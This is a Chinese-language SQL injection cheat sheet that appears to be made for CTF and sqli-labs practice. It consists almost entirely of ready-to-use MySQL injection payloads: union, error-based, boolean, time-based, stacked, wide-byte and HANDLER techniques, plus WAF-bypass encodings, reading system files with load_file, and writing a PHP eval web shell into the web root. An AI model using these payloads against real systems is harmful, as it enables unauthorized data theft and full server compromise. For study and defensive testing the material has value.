目录
注入点位置及发现
判断输入点是否存在注入测试
数值型:
字符型:
group_concat注入:
union注入:
limit注入:
报错注入:
布尔注入:
时间注入:
堆查询注入:
宽字节注入:
base64注入:
Cookie注入、Referer注入、UA注入、XFF注入
预编译注入:
Handler注入(从表名查询字段名):
SQL绕过WAF
通过SQL语句读写文件
注入点位置及发现:?
-
GET参数注入 -
POST参数注入 -
user-agent注入 -
cookies注入 -
referer注入 -
...
判断输入点是否存在注入测试:
数值型:
1 union select 1,2,database()
字符型:
1' union select 1,2,database()
group_concat注入:
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
union注入:
1' union select 1,2,database()
limit注入:
1' union select table_name from information_schema.tables where table_schema=database() limit 0,1
报错注入:
updatexml方式:
1' and(updatexml(1,concat(0x7e,(select(database())),0x7e),1))
查询数据库名称:
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) ? 1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)
查询表名:
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)
extractvalue方式:
1 and(extractvalue(1, concat(0x7e,(select database()))))
floor方式(查询数据库):
1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from? information_schema.tables group by x)a)%23 ? 1 and(select 1 from (select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
查询表(以emails举例,emails十六进制编码为656d61696c73)
?1 and(select 1 from (select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
floor可以在sqli-labs的level1中复现,phpstudy测试版本为5.4.45+apache
exp:
1 and exp(~(select * from (select database())x))%23
布尔注入:
猜测数据库长度:
1 and length(database())>5
猜测数据库名第一个字符串:
1 and substr(database(),1,1)='s'
猜测数据库表第一个字符串:
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'
空格过滤查数据库名第一个字符串:
1^(ascii(substr((select(database())),1,1))=ascii('s')) ? 1^(ord(substr((select(database())),1,1))=ascii('s'))
空格过滤查数据库名第二个字符串:
1^(ascii(substr((select(database())),2,1))=ascii('q'))
空格过滤查表名:
1^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f')) ? 1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
时间注入:
1 and if(substr(database(),1,1)='s',sleep(5),1)
堆查询注入:
1;select if(substr(database(),1,1)='s',sleep(5),1) ? 1;show databases;
宽字节注入:
1%df' union select 1,2,database()
base64注入:
https://www.baidu.com?id=MSBhbmQgMCB1bmlvbiBzZWxlY3QgMSwyLDM=
Cookie注入、Referer注入、UA注入、XFF注入
预编译注入:
?1';use sqli;set @sql=concat('se','lect `字段` from `表名`');PREPARE ganyu FROM @sql;EXECUTE ganyu;#
Handler注入(从表名查询字段名):
1';show tables;handler `FlagHere` open;handler `FlagHere` read first;#
SQL绕过WAF
大小写绕过
1 and 0 Union select 1,2,database()
双写绕过
1 and 0 uunionnion select 1,2,database()
编码绕过
1 and 0 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 select 1,2,database()
通过十六进制过滤绕过
1 and 0 union selec\x74 1,2,database() 1 and 0 unio\x6e select 1,2,database()
空格过滤
1/**/and/**/0/**/union/**/select/**/1,2,database()
内敛注释绕过
1 /*!and*/ 1=2
1/*%!"/*/order/*%!"/*/by 3
union/*233*/select/*233*/1,2,database()
通过SQL语句读写文件
注:在mysql用户拥有file权限时,拥有load_file和into outfile/dumpfile进行读写
读取
1 union select load_file('/etc/hosts')
绕过单引号十六进制编码
1 union select load_file(0x2F6574632F686F737473)
写入
1 union select '<?php @eval($_POST['ganyu']);?>' into outfile 'var/www/html/shell.php'
绕过单引号十六进制编码
1 union select unhex(0x3C3F70687020406576616C28245F504F53545B2767616E7975275D293B3F3E) into dumpfile 'var/www/html/shell.php'
|